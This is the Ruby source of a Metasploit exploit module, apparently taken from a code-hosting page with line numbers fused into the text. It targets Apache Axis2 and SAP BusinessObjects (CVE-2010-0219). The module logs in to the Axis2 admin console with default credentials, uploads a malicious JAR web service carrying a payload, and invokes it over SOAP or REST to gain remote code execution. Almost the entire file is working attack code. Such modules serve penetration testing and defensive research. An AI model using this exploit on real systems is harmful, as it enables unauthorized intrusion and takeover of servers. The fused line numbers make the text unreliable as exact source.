Path: blob/master/modules/exploits/multi/http/axis2_deployer.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',18'Description' => %q{19This module logs in to an Axis2 Web Admin Module instance using a specific user/pass20and uploads and executes commands via deploying a malicious web service by using SOAP.21},22'References' => [23# General24[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],25[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],26[ 'CVE', '2010-0219' ],27[ 'OSVDB', '68662' ]28],29'Platform' => %w{java linux win}, # others?30'Targets' => [31[32'Java', {33'Arch' => ARCH_JAVA,34'Platform' => 'java'35},36],37#38# Platform specific targets only39#40[41'Windows Universal',42{43'Arch' => ARCH_X86,44'Platform' => 'win'45},46],47[48'Linux X86',49{50'Arch' => ARCH_X86,51'Platform' => 'linux'52},53],54],55'DefaultTarget' => 0,56'DisclosureDate' => '2010-12-30',57'Author' => [58'Joshua Abraham <jabra[at]rapid7.com>', # original module59'Chris John Riley' # modifications60],61'License' => MSF_LICENSE,62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options(71[72Opt::RPORT(8080),73OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),74OptString.new('PASSWORD', [ true, 'The password for the specified username', 'axis2' ]),75OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])76]77)78register_autofilter_ports([ 8080 ])79end8081def upload_exec(session, rpath)82contents = ''83name = Rex::Text.rand_text_alpha(8)8485# We must register this file early, that way the on_new_session method86# won't miss it if FileDropper's cleanup routine kicks in.87register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar")8889services_xml = %Q{90<service name="#{name}" scope="application">91<description>92#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}93</description>94<messageReceivers>95<messageReceiver96mep="http://www.w3.org/2004/08/wsdl/in-only"97class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>98<messageReceiver99mep="http://www.w3.org/2004/08/wsdl/in-out"100class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>101</messageReceivers>102<parameter name="ServiceClass">103metasploit.PayloadServlet104</parameter>105</service>106}107if target.name =~ /Java/108zip = payload.encoded_jar109zip.add_file("META-INF/services.xml", services_xml)110111# We need this class as a wrapper to run in a thread. For some reason112# the Payload class is giving illegal access exceptions without it.113servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')114zip.add_file("metasploit/PayloadServlet.class", servlet)115116contents = zip.pack117end118119boundary = rand_text_alphanumeric(6)120121data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "122data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"123data << contents124data << "\r\n--#{boundary}--"125126res = send_request_raw({127'uri' => "#{rpath}/axis2-admin/upload",128'method' => 'POST',129'data' => data,130'headers' =>131{132'Content-Type' => 'multipart/form-data; boundary=' + boundary,133'Cookie' => "JSESSIONID=#{session}",134}135}, 25)136137if (res and res.code == 200)138print_good("Successfully uploaded")139else140print_error("Error uploading #{res}")141return142end143=begin144res = send_request_raw({145'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",146'method' => 'GET',147'headers' =>148{149'Cookie' => "JSESSIONID=#{session}",150}151}, 25)152puts res.body153puts res.code154if res.code > 200 and res.code < 300155if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )156dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"157puts dir158else159if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) )160dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"161puts dir162end163end164end165=end166167print_status("Polling to see if the service is ready")168169res_rest = send_request_raw({170'uri' => "#{rpath}/services",171'method' => 'GET',172}, 25)173174soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'175xmlns = 'http://session.dsws.businessobjects.com/2007/06/01'176xsi = 'http://www.w3.org/2001/XMLSchema-instance'177178data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"179data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"180data << '<soapenv:Header/>' + "\r\n"181data << '<soapenv:Body>' + "\r\n"182data << '<soapenv:run/>' + "\r\n"183data << '</soapenv:Body>' + "\r\n"184data << '</soapenv:Envelope>' + "\r\n\r\n"185186begin187p = /Please enable REST/188catch :stop do1891.upto 5 do190Rex::ThreadSafe.sleep(3)191192if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)193# Try to execute the payload194res = send_request_raw({195'uri' => "#{rpath}/services/#{name}",196'method' => 'POST',197'data' => data,198'headers' =>199{200'Content-Length' => data.length,201'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',202'Content-Type' => 'text/xml; charset=UTF-8',203}204}, 15)205else206## rest207res = send_request_raw({208'uri' => "#{rpath}/services/#{name}/run",209'method' => 'GET',210'headers' =>211{212'cookie' => "jsessionid=#{session}",213}214}, 25)215216if not (res.code > 200 and res.code < 300)217## rest alternative path (use altres as a 200 is returned regardless)218altres = send_request_raw({219'uri' => "#{rpath}/rest/#{name}/run",220'method' => 'GET',221'headers' =>222{223'cookie' => "jsessionid=#{session}",224}225}, 25)226end227end228229if res and res.code > 200 and res.code < 300230throw :stop # exit loop231elsif res and res.code == 401232if (res.headers['WWW-Authenticate'])233authmsg = res.headers['WWW-Authenticate']234end235print_error("The remote server responded expecting authentication")236if authmsg237print_error("WWW-Authenticate: %s" % authmsg)238end239raise ::Rex::ConnectionError240throw :stop # exit loop241end242end243end244rescue ::Rex::ConnectionError245print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")246end247end248249def exploit250user = datastore['USERNAME']251pass = datastore['PASSWORD']252rpath = normalize_uri(datastore['PATH'])253254success = false255srvhdr = '?'256begin257res = send_request_cgi(258{259'method' => 'POST',260'uri' => normalize_uri(rpath, '/axis2-admin/login'),261'ctype' => 'application/x-www-form-urlencoded',262'data' => "userName=#{user}&password=#{pass}&submit=+Login+",263}, 25264)265266if not (res.kind_of? Rex::Proto::Http::Response)267print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")268end269270if res.code == 404271print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")272end273274srvhdr = res.headers['Server']275if res.code == 200276# Could go with res.headers["Server"] =~ /Apache-Coyote/i277# as well but that seems like an element someone's more278# likely to change279280success = true if (res.body.scan(/Welcome to Axis2 Web/i).size == 1)281if res.get_cookies =~ /JSESSIONID=(.*);/282session = $1283end284end285rescue ::Rex::ConnectionError286print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")287end288289if not success and not rpath =~ /dswsbobje/290rpath = '/dswsbobje'291begin292res = send_request_cgi(293{294'method' => 'POST',295'uri' => normalize_uri(rpath, '/axis2-admin/login'),296'ctype' => 'application/x-www-form-urlencoded',297'data' => "userName=#{user}&password=#{pass}&submit=+Login+",298}, 25299)300301if not (res.kind_of? Rex::Proto::Http::Response)302print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")303end304305if res.code == 404306print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")307end308309srvhdr = res.headers['Server']310if res.code == 200311# Could go with res.headers["Server"] =~ /Apache-Coyote/i312# as well but that seems like an element someone's more313# likely to change314315success = true if (res.body.scan(/Welcome to Axis2 Web/i).size == 1)316if res.get_cookies =~ /JSESSIONID=(.*);/317session = $1318end319end320rescue ::Rex::ConnectionError321print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")322end323end324325if success326print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")327upload_exec(session, rpath)328else329print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")330end331end332end333334335